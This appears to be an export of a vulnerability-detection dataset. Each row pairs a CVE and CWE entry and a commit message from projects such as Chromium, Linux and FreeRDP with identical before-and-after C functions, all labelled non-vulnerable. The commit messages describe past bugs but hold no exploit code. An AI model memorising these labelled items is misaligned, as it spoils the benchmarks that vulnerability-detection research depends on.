CVE ID
stringlengths 13
43
⌀ | CVE Page
stringlengths 45
48
⌀ | CWE ID
stringclasses 90
values | codeLink
stringlengths 46
139
| commit_id
stringlengths 6
81
| commit_message
stringlengths 3
13.3k
⌀ | func_after
stringlengths 14
241k
| func_before
stringlengths 14
241k
| lang
stringclasses 3
values | project
stringclasses 309
values | vul
int8 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|
CVE-2012-2895
|
https://www.cvedetails.com/cve/CVE-2012-2895/
|
CWE-119
|
https://github.com/chromium/chromium/commit/16dcd30c215801941d9890859fd79a234128fc3e
|
16dcd30c215801941d9890859fd79a234128fc3e
|
Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
|
bool DownloadItemImpl::CanOpenDownload() {
return !file_externally_removed_;
}
|
bool DownloadItemImpl::CanOpenDownload() {
return !file_externally_removed_;
}
|
C
|
Chrome
| 0 |
CVE-2011-1078
|
https://www.cvedetails.com/cve/CVE-2011-1078/
|
CWE-200
|
https://github.com/torvalds/linux/commit/c4c896e1471aec3b004a693c689f60be3b17ac86
|
c4c896e1471aec3b004a693c689f60be3b17ac86
|
Bluetooth: sco: fix information leak to userspace
struct sco_conninfo has one padding byte in the end. Local variable
cinfo of type sco_conninfo is copied to userspace with this uninizialized
one byte, leading to old stack contents leak.
Signed-off-by: Vasiliy Kulikov <[email protected]>
Signed-off-by: Gustavo F. Padovan <[email protected]>
|
static int sco_connect_cfm(struct hci_conn *hcon, __u8 status)
{
BT_DBG("hcon %p bdaddr %s status %d", hcon, batostr(&hcon->dst), status);
if (hcon->type != SCO_LINK && hcon->type != ESCO_LINK)
return -EINVAL;
if (!status) {
struct sco_conn *conn;
conn = sco_conn_add(hcon, status);
if (conn)
sco_conn_ready(conn);
} else
sco_conn_del(hcon, bt_err(status));
return 0;
}
|
static int sco_connect_cfm(struct hci_conn *hcon, __u8 status)
{
BT_DBG("hcon %p bdaddr %s status %d", hcon, batostr(&hcon->dst), status);
if (hcon->type != SCO_LINK && hcon->type != ESCO_LINK)
return -EINVAL;
if (!status) {
struct sco_conn *conn;
conn = sco_conn_add(hcon, status);
if (conn)
sco_conn_ready(conn);
} else
sco_conn_del(hcon, bt_err(status));
return 0;
}
|
C
|
linux
| 0 |
CVE-2013-6626
|
https://www.cvedetails.com/cve/CVE-2013-6626/
| null |
https://github.com/chromium/chromium/commit/90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
|
void WebContentsImpl::ResetOverrideEncoding() {
encoding_.clear();
Send(new ViewMsg_ResetPageEncodingToDefault(GetRoutingID()));
}
|
void WebContentsImpl::ResetOverrideEncoding() {
encoding_.clear();
Send(new ViewMsg_ResetPageEncodingToDefault(GetRoutingID()));
}
|
C
|
Chrome
| 0 |
CVE-2014-3690
|
https://www.cvedetails.com/cve/CVE-2014-3690/
|
CWE-399
|
https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a
|
d974baa398f34393db76be45f7d4d04fbdbb4a0a
|
x86,kvm,vmx: Preserve CR4 across VM entry
CR4 isn't constant; at least the TSD and PCE bits can vary.
TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks
like it's correct.
This adds a branch and a read from cr4 to each vm entry. Because it is
extremely likely that consecutive entries into the same vcpu will have
the same host cr4 value, this fixes up the vmcs instead of restoring cr4
after the fact. A subsequent patch will add a kernel-wide cr4 shadow,
reducing the overhead in the common case to just two memory reads and a
branch.
Signed-off-by: Andy Lutomirski <[email protected]>
Acked-by: Paolo Bonzini <[email protected]>
Cc: [email protected]
Cc: Petr Matousek <[email protected]>
Cc: Gleb Natapov <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
|
static int handle_vmcall(struct kvm_vcpu *vcpu)
{
skip_emulated_instruction(vcpu);
kvm_emulate_hypercall(vcpu);
return 1;
}
|
static int handle_vmcall(struct kvm_vcpu *vcpu)
{
skip_emulated_instruction(vcpu);
kvm_emulate_hypercall(vcpu);
return 1;
}
|
C
|
linux
| 0 |
CVE-2012-2880
|
https://www.cvedetails.com/cve/CVE-2012-2880/
|
CWE-362
|
https://github.com/chromium/chromium/commit/fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
|
fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
|
[Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
|
ConflictResolver::ConflictResolver() {
}
|
ConflictResolver::ConflictResolver() {
}
|
C
|
Chrome
| 0 |
CVE-2015-5195
|
https://www.cvedetails.com/cve/CVE-2015-5195/
|
CWE-20
|
https://github.com/ntp-project/ntp/commit/52e977d79a0c4ace997e5c74af429844da2f27be
|
52e977d79a0c4ace997e5c74af429844da2f27be
|
[Bug 1773] openssl not detected during ./configure.
[Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
|
record_proto_stats(
char *str /* text string */
)
{
l_fp now;
u_long day;
if (!stats_control)
return;
get_systime(&now);
filegen_setup(&protostats, now.l_ui);
day = now.l_ui / 86400 + MJD_1900;
now.l_ui %= 86400;
if (protostats.fp != NULL) {
fprintf(protostats.fp, "%lu %s %s\n", day,
ulfptoa(&now, 3), str);
fflush(protostats.fp);
}
}
|
record_proto_stats(
char *str /* text string */
)
{
l_fp now;
u_long day;
if (!stats_control)
return;
get_systime(&now);
filegen_setup(&protostats, now.l_ui);
day = now.l_ui / 86400 + MJD_1900;
now.l_ui %= 86400;
if (protostats.fp != NULL) {
fprintf(protostats.fp, "%lu %s %s\n", day,
ulfptoa(&now, 3), str);
fflush(protostats.fp);
}
}
|
C
|
ntp
| 0 |
CVE-2015-0274
|
https://www.cvedetails.com/cve/CVE-2015-0274/
|
CWE-19
|
https://github.com/torvalds/linux/commit/8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
|
8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
|
xfs: remote attribute overwrite causes transaction overrun
Commit e461fcb ("xfs: remote attribute lookups require the value
length") passes the remote attribute length in the xfs_da_args
structure on lookup so that CRC calculations and validity checking
can be performed correctly by related code. This, unfortunately has
the side effect of changing the args->valuelen parameter in cases
where it shouldn't.
That is, when we replace a remote attribute, the incoming
replacement stores the value and length in args->value and
args->valuelen, but then the lookup which finds the existing remote
attribute overwrites args->valuelen with the length of the remote
attribute being replaced. Hence when we go to create the new
attribute, we create it of the size of the existing remote
attribute, not the size it is supposed to be. When the new attribute
is much smaller than the old attribute, this results in a
transaction overrun and an ASSERT() failure on a debug kernel:
XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331
Fix this by keeping the remote attribute value length separate to
the attribute value length in the xfs_da_args structure. The enables
us to pass the length of the remote attribute to be removed without
overwriting the new attribute's length.
Also, ensure that when we save remote block contexts for a later
rename we zero the original state variables so that we don't confuse
the state of the attribute to be removes with the state of the new
attribute that we just added. [Spotted by Brain Foster.]
Signed-off-by: Dave Chinner <[email protected]>
Reviewed-by: Brian Foster <[email protected]>
Signed-off-by: Dave Chinner <[email protected]>
|
xfs_attr3_rmt_read_verify(
struct xfs_buf *bp)
{
struct xfs_mount *mp = bp->b_target->bt_mount;
char *ptr;
int len;
xfs_daddr_t bno;
/* no verification of non-crc buffers */
if (!xfs_sb_version_hascrc(&mp->m_sb))
return;
ptr = bp->b_addr;
bno = bp->b_bn;
len = BBTOB(bp->b_length);
ASSERT(len >= XFS_LBSIZE(mp));
while (len > 0) {
if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp),
XFS_ATTR3_RMT_CRC_OFF)) {
xfs_buf_ioerror(bp, EFSBADCRC);
break;
}
if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) {
xfs_buf_ioerror(bp, EFSCORRUPTED);
break;
}
len -= XFS_LBSIZE(mp);
ptr += XFS_LBSIZE(mp);
bno += mp->m_bsize;
}
if (bp->b_error)
xfs_verifier_error(bp);
else
ASSERT(len == 0);
}
|
xfs_attr3_rmt_read_verify(
struct xfs_buf *bp)
{
struct xfs_mount *mp = bp->b_target->bt_mount;
char *ptr;
int len;
xfs_daddr_t bno;
/* no verification of non-crc buffers */
if (!xfs_sb_version_hascrc(&mp->m_sb))
return;
ptr = bp->b_addr;
bno = bp->b_bn;
len = BBTOB(bp->b_length);
ASSERT(len >= XFS_LBSIZE(mp));
while (len > 0) {
if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp),
XFS_ATTR3_RMT_CRC_OFF)) {
xfs_buf_ioerror(bp, EFSBADCRC);
break;
}
if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) {
xfs_buf_ioerror(bp, EFSCORRUPTED);
break;
}
len -= XFS_LBSIZE(mp);
ptr += XFS_LBSIZE(mp);
bno += mp->m_bsize;
}
if (bp->b_error)
xfs_verifier_error(bp);
else
ASSERT(len == 0);
}
|
C
|
linux
| 0 |
CVE-2014-3538
|
https://www.cvedetails.com/cve/CVE-2014-3538/
|
CWE-399
|
https://github.com/file/file/commit/4a284c89d6ef11aca34da65da7d673050a5ea320
|
4a284c89d6ef11aca34da65da7d673050a5ea320
|
* Enforce limit of 8K on regex searches that have no limits
* Allow the l modifier for regex to mean line count. Default
to byte count. If line count is specified, assume a max
of 80 characters per line to limit the byte count.
* Don't allow conversions to be used for dates, allowing
the mask field to be used as an offset.
* Bump the version of the magic format so that regex changes
are visible.
|
apprentice_load(struct magic_set *ms, const char *fn, int action)
{
int errs = 0;
uint32_t i, j;
size_t files = 0, maxfiles = 0;
char **filearr = NULL, *mfn;
struct stat st;
struct magic_map *map;
struct magic_entry_set mset[MAGIC_SETS];
DIR *dir;
struct dirent *d;
memset(mset, 0, sizeof(mset));
ms->flags |= MAGIC_CHECK; /* Enable checks for parsed files */
if ((map = CAST(struct magic_map *, calloc(1, sizeof(*map)))) == NULL)
{
file_oomem(ms, sizeof(*map));
return NULL;
}
/* print silly verbose header for USG compat. */
if (action == FILE_CHECK)
(void)fprintf(stderr, "%s\n", usg_hdr);
/* load directory or file */
if (stat(fn, &st) == 0 && S_ISDIR(st.st_mode)) {
dir = opendir(fn);
if (!dir) {
errs++;
goto out;
}
while ((d = readdir(dir)) != NULL) {
if (asprintf(&mfn, "%s/%s", fn, d->d_name) < 0) {
file_oomem(ms,
strlen(fn) + strlen(d->d_name) + 2);
errs++;
closedir(dir);
goto out;
}
if (stat(mfn, &st) == -1 || !S_ISREG(st.st_mode)) {
free(mfn);
continue;
}
if (files >= maxfiles) {
size_t mlen;
maxfiles = (maxfiles + 1) * 2;
mlen = maxfiles * sizeof(*filearr);
if ((filearr = CAST(char **,
realloc(filearr, mlen))) == NULL) {
file_oomem(ms, mlen);
free(mfn);
closedir(dir);
errs++;
goto out;
}
}
filearr[files++] = mfn;
}
closedir(dir);
qsort(filearr, files, sizeof(*filearr), cmpstrp);
for (i = 0; i < files; i++) {
load_1(ms, action, filearr[i], &errs, mset);
free(filearr[i]);
}
free(filearr);
} else
load_1(ms, action, fn, &errs, mset);
if (errs)
goto out;
for (j = 0; j < MAGIC_SETS; j++) {
/* Set types of tests */
for (i = 0; i < mset[j].count; ) {
if (mset[j].me[i].mp->cont_level != 0) {
i++;
continue;
}
i = set_text_binary(ms, mset[j].me, mset[j].count, i);
}
qsort(mset[j].me, mset[j].count, sizeof(*mset[j].me),
apprentice_sort);
/*
* Make sure that any level 0 "default" line is last
* (if one exists).
*/
set_last_default(ms, mset[j].me, mset[j].count);
/* coalesce per file arrays into a single one */
if (coalesce_entries(ms, mset[j].me, mset[j].count,
&map->magic[j], &map->nmagic[j]) == -1) {
errs++;
goto out;
}
}
out:
for (j = 0; j < MAGIC_SETS; j++)
magic_entry_free(mset[j].me, mset[j].count);
if (errs) {
apprentice_unmap(map);
return NULL;
}
return map;
}
|
apprentice_load(struct magic_set *ms, const char *fn, int action)
{
int errs = 0;
uint32_t i, j;
size_t files = 0, maxfiles = 0;
char **filearr = NULL, *mfn;
struct stat st;
struct magic_map *map;
struct magic_entry_set mset[MAGIC_SETS];
DIR *dir;
struct dirent *d;
memset(mset, 0, sizeof(mset));
ms->flags |= MAGIC_CHECK; /* Enable checks for parsed files */
if ((map = CAST(struct magic_map *, calloc(1, sizeof(*map)))) == NULL)
{
file_oomem(ms, sizeof(*map));
return NULL;
}
/* print silly verbose header for USG compat. */
if (action == FILE_CHECK)
(void)fprintf(stderr, "%s\n", usg_hdr);
/* load directory or file */
if (stat(fn, &st) == 0 && S_ISDIR(st.st_mode)) {
dir = opendir(fn);
if (!dir) {
errs++;
goto out;
}
while ((d = readdir(dir)) != NULL) {
if (asprintf(&mfn, "%s/%s", fn, d->d_name) < 0) {
file_oomem(ms,
strlen(fn) + strlen(d->d_name) + 2);
errs++;
closedir(dir);
goto out;
}
if (stat(mfn, &st) == -1 || !S_ISREG(st.st_mode)) {
free(mfn);
continue;
}
if (files >= maxfiles) {
size_t mlen;
maxfiles = (maxfiles + 1) * 2;
mlen = maxfiles * sizeof(*filearr);
if ((filearr = CAST(char **,
realloc(filearr, mlen))) == NULL) {
file_oomem(ms, mlen);
free(mfn);
closedir(dir);
errs++;
goto out;
}
}
filearr[files++] = mfn;
}
closedir(dir);
qsort(filearr, files, sizeof(*filearr), cmpstrp);
for (i = 0; i < files; i++) {
load_1(ms, action, filearr[i], &errs, mset);
free(filearr[i]);
}
free(filearr);
} else
load_1(ms, action, fn, &errs, mset);
if (errs)
goto out;
for (j = 0; j < MAGIC_SETS; j++) {
/* Set types of tests */
for (i = 0; i < mset[j].count; ) {
if (mset[j].me[i].mp->cont_level != 0) {
i++;
continue;
}
i = set_text_binary(ms, mset[j].me, mset[j].count, i);
}
qsort(mset[j].me, mset[j].count, sizeof(*mset[j].me),
apprentice_sort);
/*
* Make sure that any level 0 "default" line is last
* (if one exists).
*/
set_last_default(ms, mset[j].me, mset[j].count);
/* coalesce per file arrays into a single one */
if (coalesce_entries(ms, mset[j].me, mset[j].count,
&map->magic[j], &map->nmagic[j]) == -1) {
errs++;
goto out;
}
}
out:
for (j = 0; j < MAGIC_SETS; j++)
magic_entry_free(mset[j].me, mset[j].count);
if (errs) {
apprentice_unmap(map);
return NULL;
}
return map;
}
|
C
|
file
| 0 |
CVE-2011-2495
|
https://www.cvedetails.com/cve/CVE-2011-2495/
|
CWE-264
|
https://github.com/torvalds/linux/commit/1d1221f375c94ef961ba8574ac4f85c8870ddd51
|
1d1221f375c94ef961ba8574ac4f85c8870ddd51
|
proc: restrict access to /proc/PID/io
/proc/PID/io may be used for gathering private information. E.g. for
openssh and vsftpd daemons wchars/rchars may be used to learn the
precise password length. Restrict it to processes being able to ptrace
the target process.
ptrace_may_access() is needed to prevent keeping open file descriptor of
"io" file, executing setuid binary and gathering io information of the
setuid'ed process.
Signed-off-by: Vasiliy Kulikov <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
|
static int proc_single_show(struct seq_file *m, void *v)
{
struct inode *inode = m->private;
struct pid_namespace *ns;
struct pid *pid;
struct task_struct *task;
int ret;
ns = inode->i_sb->s_fs_info;
pid = proc_pid(inode);
task = get_pid_task(pid, PIDTYPE_PID);
if (!task)
return -ESRCH;
ret = PROC_I(inode)->op.proc_show(m, ns, pid, task);
put_task_struct(task);
return ret;
}
|
static int proc_single_show(struct seq_file *m, void *v)
{
struct inode *inode = m->private;
struct pid_namespace *ns;
struct pid *pid;
struct task_struct *task;
int ret;
ns = inode->i_sb->s_fs_info;
pid = proc_pid(inode);
task = get_pid_task(pid, PIDTYPE_PID);
if (!task)
return -ESRCH;
ret = PROC_I(inode)->op.proc_show(m, ns, pid, task);
put_task_struct(task);
return ret;
}
|
C
|
linux
| 0 |
CVE-2016-5219
|
https://www.cvedetails.com/cve/CVE-2016-5219/
|
CWE-416
|
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Reviewed-by: Geoff Lang <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#657568}
|
GLES2DecoderPassthroughImpl::TexturePendingBinding::TexturePendingBinding(
GLenum target,
GLuint unit,
base::WeakPtr<TexturePassthrough> texture)
: target(target), unit(unit), texture(std::move(texture)) {}
|
GLES2DecoderPassthroughImpl::TexturePendingBinding::TexturePendingBinding(
GLenum target,
GLuint unit,
base::WeakPtr<TexturePassthrough> texture)
: target(target), unit(unit), texture(std::move(texture)) {}
|
C
|
Chrome
| 0 |
CVE-2013-7271
|
https://www.cvedetails.com/cve/CVE-2013-7271/
|
CWE-20
|
https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
|
f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
|
net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <[email protected]>
Suggested-by: Eric Dumazet <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static __inline__ void __ipxitf_put(struct ipx_interface *intrfc)
{
if (atomic_dec_and_test(&intrfc->refcnt))
__ipxitf_down(intrfc);
}
|
static __inline__ void __ipxitf_put(struct ipx_interface *intrfc)
{
if (atomic_dec_and_test(&intrfc->refcnt))
__ipxitf_down(intrfc);
}
|
C
|
linux
| 0 |
CVE-2018-6034
|
https://www.cvedetails.com/cve/CVE-2018-6034/
|
CWE-125
|
https://github.com/chromium/chromium/commit/3298d3abf47b3a7a10e44c07d821c68a5c8aa935
|
3298d3abf47b3a7a10e44c07d821c68a5c8aa935
|
Tighten about IntRect use in WebGL with overflow detection
BUG=784183
TEST=test case in the bug in ASAN build
[email protected]
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: Ie25ca328af99de7828e28e6a6e3d775f1bebc43f
Reviewed-on: https://chromium-review.googlesource.com/811826
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#522213}
|
void WebGLRenderingContextBase::framebufferTexture2D(GLenum target,
GLenum attachment,
GLenum textarget,
WebGLTexture* texture,
GLint level) {
if (isContextLost() || !ValidateFramebufferFuncParameters(
"framebufferTexture2D", target, attachment))
return;
if (texture && !texture->Validate(ContextGroup(), this)) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"no texture or texture not from this context");
return;
}
WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target);
if (!framebuffer_binding || !framebuffer_binding->Object()) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"no framebuffer bound");
return;
}
if (framebuffer_binding && framebuffer_binding->Opaque()) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"opaque framebuffer bound");
return;
}
framebuffer_binding->SetAttachmentForBoundFramebuffer(
target, attachment, textarget, texture, level, 0);
ApplyStencilTest();
}
|
void WebGLRenderingContextBase::framebufferTexture2D(GLenum target,
GLenum attachment,
GLenum textarget,
WebGLTexture* texture,
GLint level) {
if (isContextLost() || !ValidateFramebufferFuncParameters(
"framebufferTexture2D", target, attachment))
return;
if (texture && !texture->Validate(ContextGroup(), this)) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"no texture or texture not from this context");
return;
}
WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target);
if (!framebuffer_binding || !framebuffer_binding->Object()) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"no framebuffer bound");
return;
}
if (framebuffer_binding && framebuffer_binding->Opaque()) {
SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D",
"opaque framebuffer bound");
return;
}
framebuffer_binding->SetAttachmentForBoundFramebuffer(
target, attachment, textarget, texture, level, 0);
ApplyStencilTest();
}
|
C
|
Chrome
| 0 |
CVE-2013-0882
|
https://www.cvedetails.com/cve/CVE-2013-0882/
|
CWE-119
|
https://github.com/chromium/chromium/commit/25f9415f43d607d3d01f542f067e3cc471983e6b
|
25f9415f43d607d3d01f542f067e3cc471983e6b
|
Add HTMLFormControlElement::supportsAutofocus to fix a FIXME comment.
This virtual function should return true if the form control can hanlde
'autofocucs' attribute if it is specified.
Note: HTMLInputElement::supportsAutofocus reuses InputType::isInteractiveContent
because interactiveness is required for autofocus capability.
BUG=none
TEST=none; no behavior changes.
Review URL: https://codereview.chromium.org/143343003
git-svn-id: svn://svn.chromium.org/blink/trunk@165432 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void HTMLTextAreaElement::defaultEventHandler(Event* event)
{
if (renderer() && (event->isMouseEvent() || event->isDragEvent() || event->hasInterface(EventNames::WheelEvent) || event->type() == EventTypeNames::blur))
forwardEvent(event);
else if (renderer() && event->isBeforeTextInsertedEvent())
handleBeforeTextInsertedEvent(static_cast<BeforeTextInsertedEvent*>(event));
HTMLTextFormControlElement::defaultEventHandler(event);
}
|
void HTMLTextAreaElement::defaultEventHandler(Event* event)
{
if (renderer() && (event->isMouseEvent() || event->isDragEvent() || event->hasInterface(EventNames::WheelEvent) || event->type() == EventTypeNames::blur))
forwardEvent(event);
else if (renderer() && event->isBeforeTextInsertedEvent())
handleBeforeTextInsertedEvent(static_cast<BeforeTextInsertedEvent*>(event));
HTMLTextFormControlElement::defaultEventHandler(event);
}
|
C
|
Chrome
| 0 |
CVE-2016-2186
|
https://www.cvedetails.com/cve/CVE-2016-2186/
| null |
https://github.com/torvalds/linux/commit/9c6ba456711687b794dcf285856fc14e2c76074f
|
9c6ba456711687b794dcf285856fc14e2c76074f
|
Input: powermate - fix oops with malicious USB descriptors
The powermate driver expects at least one valid USB endpoint in its
probe function. If given malicious descriptors that specify 0 for
the number of endpoints, it will crash. Validate the number of
endpoints on the interface before using them.
The full report for this issue can be found here:
http://seclists.org/bugtraq/2016/Mar/85
Reported-by: Ralf Spenneberg <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Josh Boyer <[email protected]>
Signed-off-by: Dmitry Torokhov <[email protected]>
|
static int powermate_input_event(struct input_dev *dev, unsigned int type, unsigned int code, int _value)
{
unsigned int command = (unsigned int)_value;
struct powermate_device *pm = input_get_drvdata(dev);
if (type == EV_MSC && code == MSC_PULSELED){
/*
bits 0- 7: 8 bits: LED brightness
bits 8-16: 9 bits: pulsing speed modifier (0 ... 510); 0-254 = slower, 255 = standard, 256-510 = faster.
bits 17-18: 2 bits: pulse table (0, 1, 2 valid)
bit 19: 1 bit : pulse whilst asleep?
bit 20: 1 bit : pulse constantly?
*/
int static_brightness = command & 0xFF; // bits 0-7
int pulse_speed = (command >> 8) & 0x1FF; // bits 8-16
int pulse_table = (command >> 17) & 0x3; // bits 17-18
int pulse_asleep = (command >> 19) & 0x1; // bit 19
int pulse_awake = (command >> 20) & 0x1; // bit 20
powermate_pulse_led(pm, static_brightness, pulse_speed, pulse_table, pulse_asleep, pulse_awake);
}
return 0;
}
|
static int powermate_input_event(struct input_dev *dev, unsigned int type, unsigned int code, int _value)
{
unsigned int command = (unsigned int)_value;
struct powermate_device *pm = input_get_drvdata(dev);
if (type == EV_MSC && code == MSC_PULSELED){
/*
bits 0- 7: 8 bits: LED brightness
bits 8-16: 9 bits: pulsing speed modifier (0 ... 510); 0-254 = slower, 255 = standard, 256-510 = faster.
bits 17-18: 2 bits: pulse table (0, 1, 2 valid)
bit 19: 1 bit : pulse whilst asleep?
bit 20: 1 bit : pulse constantly?
*/
int static_brightness = command & 0xFF; // bits 0-7
int pulse_speed = (command >> 8) & 0x1FF; // bits 8-16
int pulse_table = (command >> 17) & 0x3; // bits 17-18
int pulse_asleep = (command >> 19) & 0x1; // bit 19
int pulse_awake = (command >> 20) & 0x1; // bit 20
powermate_pulse_led(pm, static_brightness, pulse_speed, pulse_table, pulse_asleep, pulse_awake);
}
return 0;
}
|
C
|
linux
| 0 |
CVE-2014-0791
|
https://www.cvedetails.com/cve/CVE-2014-0791/
|
CWE-189
|
https://github.com/sidhpurwala-huzaifa/FreeRDP/commit/e2745807c4c3e0a590c0f69a9b655dc74ebaa03e
|
e2745807c4c3e0a590c0f69a9b655dc74ebaa03e
|
Fix possible integer overflow in license_read_scope_list()
|
void license_generate_randoms(rdpLicense* license)
{
ZeroMemory(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */
ZeroMemory(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */
#ifndef LICENSE_NULL_CLIENT_RANDOM
crypto_nonce(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */
#endif
#ifndef LICENSE_NULL_PREMASTER_SECRET
crypto_nonce(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */
#endif
}
|
void license_generate_randoms(rdpLicense* license)
{
ZeroMemory(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */
ZeroMemory(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */
#ifndef LICENSE_NULL_CLIENT_RANDOM
crypto_nonce(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */
#endif
#ifndef LICENSE_NULL_PREMASTER_SECRET
crypto_nonce(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */
#endif
}
|
C
|
FreeRDP
| 0 |
CVE-2011-2880
|
https://www.cvedetails.com/cve/CVE-2011-2880/
|
CWE-399
|
https://github.com/chromium/chromium/commit/244c78b3f737f2cacab2d212801b0524cbcc3a7b
|
244c78b3f737f2cacab2d212801b0524cbcc3a7b
|
Reset the device policy machinery upon retrying enrollment.
BUG=chromium-os:18208
TEST=See bug description
Review URL: http://codereview.chromium.org/7676005
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97615 0039d316-1c4b-4281-b951-d872f2087c98
|
EnterpriseEnrollmentScreen::~EnterpriseEnrollmentScreen() {}
|
EnterpriseEnrollmentScreen::~EnterpriseEnrollmentScreen() {}
|
C
|
Chrome
| 0 |
CVE-2018-6096
|
https://www.cvedetails.com/cve/CVE-2018-6096/
| null |
https://github.com/chromium/chromium/commit/36f801fdbec07d116a6f4f07bb363f10897d6a51
|
36f801fdbec07d116a6f4f07bb363f10897d6a51
|
If a page calls |window.focus()|, kick it out of fullscreen.
BUG=776418, 800056
Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017
Reviewed-on: https://chromium-review.googlesource.com/852378
Reviewed-by: Nasko Oskov <[email protected]>
Reviewed-by: Philip Jägenstedt <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#533790}
|
void RenderFrameImpl::EnterFullscreen() {
Send(new FrameHostMsg_ToggleFullscreen(routing_id_, true));
}
|
void RenderFrameImpl::EnterFullscreen() {
Send(new FrameHostMsg_ToggleFullscreen(routing_id_, true));
}
|
C
|
Chrome
| 0 |
CVE-2011-2799
|
https://www.cvedetails.com/cve/CVE-2011-2799/
|
CWE-399
|
https://github.com/chromium/chromium/commit/5a2de6455f565783c73e53eae2c8b953e7d48520
|
5a2de6455f565783c73e53eae2c8b953e7d48520
|
2011-06-02 Joone Hur <[email protected]>
Reviewed by Martin Robinson.
[GTK] Only load dictionaries if spell check is enabled
